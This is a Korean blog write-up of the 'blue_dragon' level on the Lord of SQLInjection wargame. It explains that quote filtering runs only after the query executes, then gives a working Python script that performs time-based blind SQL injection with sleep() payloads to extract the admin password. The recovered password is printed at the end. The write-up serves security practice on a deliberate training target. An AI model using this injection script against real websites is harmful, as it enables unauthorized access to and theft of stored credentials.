write-up(web)/los

[LOS] blue_dragon

chanchand 2023. 11. 3. 23:04
반응형

문제


 

https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php

 

los.rubiya.kr

 

 

문제풀이


id가 admin인 pw를 알아내면 된다.

 

작은 따옴표가 필터링되어 구문을 조작하여 알아낼 수가 없다.

위 코드를 보면 query문을 전송하고, 그 다음에 preg_match()를 통해 필터링한다. 

이를 이용해서 time based injection이 가능하다.

 

import requests
import time

cookie = {'PHPSESSID':'13l0s9eggfb6mttoaqkr15jkhu'}
url = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?"


# flag_len
flag_len = 0
for i in range(50):
  query = "id=admin' and if(length(pw)={},sleep(3),2)%23".format(i)
  
  pre_time = time.time()
  res = requests.get(url + query, cookies = cookie)
  cur_time = time.time()

  if cur_time - pre_time >= 3:
    flag_len = i
    break

print("flag_len : {}".format(flag_len))


flag = ""

for i in range(1, flag_len + 1):
  for j in range(33, 128):
    query = "id=admin' and if(ascii(substr(pw,{},1))={},sleep(3),2)%23".format(i, j)
    
    pre_time = time.time()
    res = requests.get(url + query, cookies = cookie)
    cur_time = time.time()

    if (cur_time - pre_time >= 3):
      flag += chr(j)
      print(flag)
      break

print("flag : {}".format(flag))

pw는 d948b8a0이다.

반응형

'write-up(web) > los' 카테고리의 다른 글

[LOS] phantom  (0) 2023.11.04
[LOS] frankenstein  (0) 2023.11.04
[LOS] red_dragon  (0) 2023.01.28
[LOS] green_dragon  (0) 2023.01.28
[LOS] evil_wizard  (0) 2023.01.25